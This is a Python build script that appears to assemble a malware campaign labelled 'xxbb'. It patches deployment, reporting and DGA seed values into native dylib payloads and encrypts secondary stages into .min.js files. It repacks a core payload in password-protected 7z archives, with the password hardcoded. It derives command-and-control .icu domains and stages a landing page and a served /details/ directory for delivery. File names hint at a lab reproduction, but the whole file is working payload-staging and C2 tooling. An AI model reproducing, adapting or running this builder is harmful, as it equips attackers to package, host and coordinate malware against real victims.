Files
2026-08-25 03:45:42 +08:00

664 lines
23 KiB
Python

#!/usr/bin/env python3
"""Patch xxbb secondary packs + corepayload `c`, apply shared details + staged weifile.
`c` is a shared DGA seed (env XXBB_CHANNEL_C), not a per-channel id.
Artifact layout:
{artifact-root}/details/ served landing /details/
{state-root}/out/weifile/ staged weifile (not published; pack_channel.py zips it)
Seed resolution (same idea as channel-builder/tools/new_project.py):
1. both --deployment-seed and --reporting-seed
2. else {state-root}/lab_seeds.json
3. else random generate + write lab_seeds.json
Channel `c`: --channel-c, else --random-c, else lab_seeds.json, else random.
"""
from __future__ import annotations
import argparse
import hashlib
import json
import re
import secrets
import shutil
from datetime import datetime, timezone
from pathlib import Path
from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
from _weifile_discover import DEFAULT_HELPER_STEM, discover_secondary_stems
from reproduce_xxbb_dga import generate_domains
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent
SOURCE_WEIFILE = BUILDER_ROOT / "source" / "weifile"
SOURCE_DETAILS = BUILDER_ROOT / "source" / "details"
SOURCE_DYLIBS = BUILDER_ROOT / "source" / "dylibs"
SECONDARY_KEYS = TOOLS / "secondary_keys.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "
LAB_SEEDS_NAME = "lab_seeds.json"
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
WEIFILE_ROOT = "weifile"
DETAILS_ROOT = "details"
LANDING_NAME = "weifile.html"
CHANNEL_CODE_RE = re.compile(r"^[A-Za-z0-9]{8}$")
INDEX_CHANNEL_PLACEHOLDER = "CACACACA"
INDEX_IPTJ_HOST_PLACEHOLDER = "[placeholder].icu"
CORE_WIRE_NAME = "corepayload.js"
CORE_MEMBER_NAME = "corepayload.dylib"
SHOW_WIRE_NAME = "show.html"
SHOW_MEMBER_NAME = "data.bin"
CORE_C_EXPECT = 6
DGA_COUNT = 5
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
ORIGINAL_REP = "68143bfa7130bb97a642196db0292a12"
ORIGINAL_C = "202700cfb1ad3de68e11239dcc26c30b"
SEVEN_ZIP_PASSWORD = "202800cfb1ad3de68e11239dcc26c30b"
RESERVED_CHANNEL_NAMES = frozenset(
{
"admin",
"user",
"api",
"web",
"sync",
"details",
"weifile",
"hooks",
"link",
"statistic",
"vhx",
"event",
"log",
"storage",
"build",
"hot",
"vendor",
"css",
"js",
"up",
"index",
"assets",
"static",
"source",
"channel",
"out",
"t",
"nb",
"a",
"u",
"m",
"uj",
"us",
"ub",
"ba",
"result",
"favicon",
"robots",
"sitemap",
"public",
"app",
"bootstrap",
"config",
"database",
"resources",
"routes",
"tests",
"artisan",
"livewire",
"sanctum",
"telescope",
"horizon",
"pulse",
}
)
def pack_ascii32(name: str, value: str) -> bytes:
data = value.encode("ascii")
if len(data) > 32:
raise SystemExit(f"{name} longer than 32 bytes ({len(data)}): {value!r}")
if not data:
raise SystemExit(f"{name} must be non-empty")
return data + b"\x00" * (32 - len(data))
def replace_slot(buf: bytearray, old: bytes, new32: bytes, *, label: str, expect: int) -> int:
count = 0
start = 0
while True:
index = buf.find(old, start)
if index < 0:
break
buf[index : index + 32] = new32
count += 1
start = index + 32
if count != expect:
raise SystemExit(
f"{label}: unexpected hits for {old.decode('ascii', 'replace')} "
f"count={count} (want {expect}). Already patched?"
)
return count
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
def ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages", "README.md"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def load_keys() -> dict:
"""Discover type-0x01 stems from source/weifile; json only supplies helper key."""
meta = json.loads(SECONDARY_KEYS.read_text())
helper_hex = meta.get("helper_key")
if not isinstance(helper_hex, str) or not helper_hex:
raise SystemExit(f"invalid {SECONDARY_KEYS}: missing helper_key")
helper_stem = meta.get("helper_stem") or DEFAULT_HELPER_STEM
try:
discovered = discover_secondary_stems(
SOURCE_WEIFILE, bytes.fromhex(helper_hex), helper_stem
)
except Exception as exc:
raise SystemExit(f"failed to discover secondaries from {SOURCE_WEIFILE}: {exc}") from exc
hash_to_group: dict[str, str] = {}
for path in SOURCE_DYLIBS.glob("group_*.dylib"):
digest = sha256_hex(path.read_bytes())
group = path.name.split("_")[1]
if digest in hash_to_group and hash_to_group[digest] != group:
raise SystemExit(f"dylib hash {digest[:16]}… mapped to both {hash_to_group[digest]} and {group}")
hash_to_group[digest] = group
if not hash_to_group:
raise SystemExit(f"no group_*.dylib under {SOURCE_DYLIBS}")
stems: dict[str, dict] = {}
for stem, info in discovered.items():
group = hash_to_group.get(info["sha256"])
if not group:
raise SystemExit(
f"{stem}: plaintext sha256 {info['sha256'][:16]}… has no matching source/dylibs group"
)
stems[stem] = {"key": info["key"], "group": group}
if not stems:
raise SystemExit("discovered zero type-0x01 secondaries")
meta["stems"] = stems
return meta
def group_dylib_path(group: str) -> Path:
files = sorted(SOURCE_DYLIBS.glob(f"group_{group}_*.dylib"))
if len(files) != 1:
raise SystemExit(f"expected one source dylib for group {group}, found {files}")
return files[0]
def patch_dylib(
data: bytes,
*,
deployment_seed: str,
reporting_seed: str,
channel_c: str,
label: str,
) -> bytes:
buf = bytearray(data)
replace_slot(buf, ORIGINAL_DEP.encode("ascii"), pack_ascii32("--deployment-seed", deployment_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_REP.encode("ascii"), pack_ascii32("--reporting-seed", reporting_seed), label=label, expect=1)
replace_slot(buf, ORIGINAL_C.encode("ascii"), pack_ascii32("--channel-c", channel_c), label=label, expect=1)
if bytes(buf).find(SEVEN_ZIP_PASSWORD.encode("ascii")) < 0:
raise SystemExit(f"{label}: 7z password {SEVEN_ZIP_PASSWORD} missing after patch")
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
raise SystemExit(f"{label}: original c still present")
return bytes(buf)
def patch_core_dylib(data: bytes, *, channel_c: str, label: str) -> bytes:
"""Replace all ORIGINAL_C slots in corepayload.dylib (DGA + report field)."""
buf = bytearray(data)
replace_slot(
buf,
ORIGINAL_C.encode("ascii"),
pack_ascii32("--channel-c", channel_c),
label=label,
expect=CORE_C_EXPECT,
)
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
raise SystemExit(f"{label}: original c still present")
if channel_c.encode("ascii") not in buf:
raise SystemExit(f"{label}: patched channel_c missing")
return bytes(buf)
def update_show_config(config_bytes: bytes, *, core_sha256: str, core_size: int) -> bytes:
doc = json.loads(config_bytes.decode("utf-8"))
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
raise SystemExit("show data.bin: missing core object")
core = doc["core"]
core["sha256"] = core_sha256
core["size"] = core_size
# Keep compact JSON (no spaces) to stay close to campaign wire shape.
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
def build_details(
*,
channel_c: str,
out_dir: Path,
) -> dict:
"""Patch corepayload + refresh show.html hashes; write wires under out_dir/details_wires."""
src_core = SOURCE_DETAILS / CORE_WIRE_NAME
src_show = SOURCE_DETAILS / SHOW_WIRE_NAME
if not src_core.is_file() or not src_show.is_file():
raise SystemExit(f"missing details templates under {SOURCE_DETAILS}")
member, core_plain = extract_member(src_core.read_bytes())
if member != CORE_MEMBER_NAME:
raise SystemExit(f"unexpected core member name: {member!r}")
patched_core = patch_core_dylib(core_plain, channel_c=channel_c, label=CORE_MEMBER_NAME)
core_digest = sha256_hex(patched_core)
core_wire = make_passworded_7z(CORE_MEMBER_NAME, patched_core)
show_member, show_plain = extract_member(src_show.read_bytes())
if show_member != SHOW_MEMBER_NAME:
raise SystemExit(f"unexpected show member name: {show_member!r}")
show_updated = update_show_config(show_plain, core_sha256=core_digest, core_size=len(patched_core))
show_wire = make_passworded_7z(SHOW_MEMBER_NAME, show_updated)
wires = out_dir / "details_wires"
wires.mkdir(parents=True, exist_ok=True)
(wires / CORE_WIRE_NAME).write_bytes(core_wire)
(wires / SHOW_WIRE_NAME).write_bytes(show_wire)
(out_dir / "dylibs" / CORE_MEMBER_NAME).write_bytes(patched_core)
return {
"core_sha256": core_digest,
"core_size": len(patched_core),
"core_wire_size": len(core_wire),
"show_wire_size": len(show_wire),
"core_c_hits": patched_core.count(channel_c.encode("ascii")),
}
def normalize_channel_code(value: str) -> str:
code = (value or "").strip().upper()
if not CHANNEL_CODE_RE.fullmatch(code):
raise SystemExit("--channel-code must be 8 chars of [A-Za-z0-9] (e.g. FAFA9988)")
if code.lower() in RESERVED_CHANNEL_NAMES:
raise SystemExit(f"--channel-code {code!r} is reserved")
return code
def patch_index_js_host(text: str, host: str) -> str:
if INDEX_IPTJ_HOST_PLACEHOLDER not in text:
raise SystemExit(f"index.js: missing iptj host placeholder {INDEX_IPTJ_HOST_PLACEHOLDER}")
if not XXBB_DGA_HOST_RE.fullmatch(host):
raise SystemExit(f"iptj host {host!r} is not an xxbb DGA host")
return text.replace(INDEX_IPTJ_HOST_PLACEHOLDER, host, 1)
def new_channel_c() -> str:
while True:
value = gen_seed()
if value != SEVEN_ZIP_PASSWORD:
return value
def copy_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=ignore_junk)
def gen_seed() -> str:
return secrets.token_hex(16)
def utc_now() -> str:
return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def compute_domains(dep: str, rep: str, channel_c: str, count: int = DGA_COUNT) -> dict:
"""First 5 hosts each native shared pool will try.
Both `sharedDeploymentPool` and `sharedReportingPool` init with the
reporting-c CFString (the 32-byte slot this builder patches as channel_c),
not the adjacent C-string dep/rep seeds. Lists are therefore identical.
"""
del dep, rep
hosts = generate_domains(channel_c, count)
return {"deployment": hosts, "reporting": list(hosts)}
def load_lab_seeds(path: Path) -> dict | None:
if not path.is_file():
return None
doc = json.loads(path.read_text())
if not isinstance(doc, dict):
raise SystemExit(f"invalid {path}: not an object")
dep = doc.get("deployment_seed")
rep = doc.get("reporting_seed")
if not isinstance(dep, str) or not isinstance(rep, str) or not dep or not rep:
raise SystemExit(f"invalid {path}: missing seeds")
return doc
def write_lab_seeds(
path: Path,
*,
dep: str,
rep: str,
channel_c: str,
domains: dict,
existing: dict | None,
) -> dict:
now = utc_now()
doc = {
"schema_version": 1,
"mode": "dga",
"deployment_seed": dep,
"reporting_seed": rep,
"channel_c": channel_c,
"dga_count": DGA_COUNT,
"domains": domains,
"created_at": (existing or {}).get("created_at") or now,
"updated_at": now,
}
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(json.dumps(doc, indent=2) + "\n")
return doc
def _looks_like_xxbb_domains(dep_list: list, rep_list: list) -> bool:
if len(dep_list) < 1 or len(rep_list) < 1:
return False
return all(isinstance(x, str) and XXBB_DGA_HOST_RE.fullmatch(x) for x in dep_list[:DGA_COUNT] + rep_list[:DGA_COUNT])
def _domains_from_existing(
existing: dict | None, dep: str, rep: str, channel_c: str
) -> tuple[dict, bool]:
"""Return (domains, newly_computed)."""
expected = compute_domains(dep, rep, channel_c)
raw = (existing or {}).get("domains") if existing else None
if isinstance(raw, dict):
dep_list = raw.get("deployment")
rep_list = raw.get("reporting")
if (
isinstance(dep_list, list)
and isinstance(rep_list, list)
and _looks_like_xxbb_domains(dep_list, rep_list)
and [str(x) for x in dep_list[:DGA_COUNT]] == expected["deployment"]
and [str(x) for x in rep_list[:DGA_COUNT]] == expected["reporting"]
):
return expected, False
return expected, True
def resolve_seeds(
*,
lab_seeds_path: Path,
cli_dep: str | None,
cli_rep: str | None,
cli_c: str | None,
random_c: bool = False,
) -> tuple[str, str, str, dict, bool]:
"""Return dep, rep, channel_c, domains, seeds_initialized."""
if bool(cli_dep) ^ bool(cli_rep):
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
if random_c and (cli_c or "").strip():
raise SystemExit("use either --channel-c or --random-c, not both")
existing = load_lab_seeds(lab_seeds_path)
if random_c:
channel_c = new_channel_c()
elif (cli_c or "").strip():
channel_c = cli_c.strip()
elif existing and existing.get("channel_c"):
channel_c = str(existing["channel_c"])
else:
channel_c = new_channel_c()
pack_ascii32("--channel-c", channel_c)
if channel_c == SEVEN_ZIP_PASSWORD:
raise SystemExit("--channel-c must not equal the 7zAES password (202800cf…)")
if cli_dep and cli_rep:
dep = cli_dep.strip()
rep = cli_rep.strip()
pack_ascii32("--deployment-seed", dep)
pack_ascii32("--reporting-seed", rep)
if dep != rep:
raise SystemExit("deployment and reporting seeds must match")
if existing and existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep:
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
if computed or existing.get("channel_c") != channel_c:
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
)
return dep, rep, channel_c, domains, computed and existing is not None
domains = compute_domains(dep, rep, channel_c)
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
)
return dep, rep, channel_c, domains, existing is None
if existing:
dep = str(existing["deployment_seed"])
rep = str(existing["reporting_seed"])
pack_ascii32("--deployment-seed", dep)
pack_ascii32("--reporting-seed", rep)
domains, computed = _domains_from_existing(existing, dep, rep, channel_c)
if computed:
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=existing
)
return dep, rep, channel_c, domains, computed
dep = gen_seed()
rep = dep
domains = compute_domains(dep, rep, channel_c)
write_lab_seeds(
lab_seeds_path, dep=dep, rep=rep, channel_c=channel_c, domains=domains, existing=None
)
return dep, rep, channel_c, domains, True
def default_state_root() -> Path:
return PROJECT_ROOT / "storage" / "app" / "channel-builder-new"
def default_artifact_root() -> Path:
return PROJECT_ROOT / "public"
def main() -> int:
parser = argparse.ArgumentParser(
description="Patch xxbb secondary + corepayload c; apply /details and staged weifile."
)
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument(
"--channel-c",
help="shared native DGA / report field c (32 hex). From env XXBB_CHANNEL_C or random.",
)
parser.add_argument(
"--random-c",
action="store_true",
help="generate a new random 32-hex c (rewrites lab_seeds.json channel_c + domains)",
)
parser.add_argument(
"--artifact-root",
type=Path,
default=PROJECT_ROOT / "public",
help="directory that will contain details/ (default: ../public)",
)
parser.add_argument(
"--state-root",
type=Path,
default=None,
help=f"lab_seeds.json + out/weifile (default: {default_state_root()})",
)
parser.add_argument(
"--out",
type=Path,
help="intermediate .min.js / dylibs (default: <state-root>/out)",
)
parser.add_argument(
"--apply",
action="store_true",
help="write {artifact}/details/ and {state}/out/weifile/",
)
parser.add_argument(
"--force",
action="store_true",
help="replace existing details/ and staged weifile (default with --apply)",
)
args = parser.parse_args()
state_root = (args.state_root or default_state_root()).resolve()
state_root.mkdir(parents=True, exist_ok=True)
dep, rep, channel_c, domains, seeds_initialized = resolve_seeds(
lab_seeds_path=state_root / LAB_SEEDS_NAME,
cli_dep=args.deployment_seed,
cli_rep=args.reporting_seed,
cli_c=args.channel_c,
random_c=args.random_c,
)
meta = load_keys()
stems = meta["stems"]
groups = sorted({info["group"] for info in stems.values()})
patched: dict[str, bytes] = {}
for group in groups:
path = group_dylib_path(group)
data = patch_dylib(
path.read_bytes(),
deployment_seed=dep,
reporting_seed=rep,
channel_c=channel_c,
label=path.name,
)
patched[group] = data
print(f"group {group}: patched {path.name} sha256={sha256_hex(data)[:16]}… size={len(data)}")
out = args.out
if out is None:
out = state_root / "out"
out = out.resolve()
out.mkdir(parents=True, exist_ok=True)
(out / "dylibs").mkdir(exist_ok=True)
for group, data in patched.items():
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
built = []
for stem, info in stems.items():
group = info["group"]
key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key)
check = decrypt_secondary_minjs(wire, key)
if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}")
dest = out / f"{stem}.min.js"
dest.write_bytes(wire)
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
print(f" wrote {dest.name} ({len(wire)} bytes)")
details_meta = build_details(channel_c=channel_c, out_dir=out)
print(
f"corepayload: patched c hits={details_meta['core_c_hits']} "
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
)
weifile_path = None
details_path = ""
staged_weifile = ""
iptj_host = ""
if args.apply:
artifact = args.artifact_root.resolve()
dest_details = artifact / DETAILS_ROOT
dest_weifile = state_root / "out" / WEIFILE_ROOT
if not SOURCE_WEIFILE.is_dir():
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
if not SOURCE_DETAILS.is_dir():
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
copy_tree(SOURCE_WEIFILE, dest_weifile)
landing = dest_weifile / LANDING_NAME
if not landing.is_file():
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
copy_tree(SOURCE_DETAILS, dest_details)
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
for item in built:
src = out / f"{item['stem']}.min.js"
dst = dest_weifile / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
hosts = list(domains.get("deployment") or [])
if not hosts:
raise SystemExit("no DGA domains computed from channel_c")
iptj_host = hosts[0]
index_path = dest_weifile / "index.js"
if not index_path.is_file():
raise SystemExit(f"missing index.js in staged weifile: {dest_weifile}")
index_path.write_text(
patch_index_js_host(index_path.read_text(encoding="utf-8"), iptj_host),
encoding="utf-8",
)
print(f"staged weifile -> {dest_weifile}")
print(f"applied details -> {dest_details}")
print(f"index.js iptj host -> {iptj_host}")
details_path = f"/{DETAILS_ROOT}/"
staged_weifile = str(dest_weifile)
print(f"XXBB_CHANNEL_C={channel_c}")
print("deployment domains:")
for i, domain in enumerate(domains.get("deployment") or [], 1):
print(f" {i:03d} {domain}")
print("reporting domains:")
for i, domain in enumerate(domains.get("reporting") or [], 1):
print(f" {i:03d} {domain}")
result = {
"campaign": "xxbb",
"builder_type": "new",
"weifile_path": weifile_path,
"support_path": None,
"details_path": details_path or None,
"staged_weifile": staged_weifile or None,
"iptj_host": iptj_host or None,
"seeds_initialized": seeds_initialized,
"sync_rebuilt": bool(args.apply),
"domains": domains,
"seeds": {
"deployment_seed": dep,
"reporting_seed": rep,
"channel_c": channel_c,
},
"seven_zip_password": SEVEN_ZIP_PASSWORD,
"files": built,
"stem_count": len(built),
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
"details": details_meta,
"notes": [
"secondary + corepayload c patched; domains follow channel_c DGA",
"details published to /details/; weifile staged under state-root/out/weifile",
"index.js iptj host is DGA(channel_c)[0]; CACACACA is left for pack_channel.py",
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
],
}
(out / "MANIFEST.json").write_text(json.dumps(result, indent=2) + "\n")
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
return 0
if __name__ == "__main__":
raise SystemExit(main())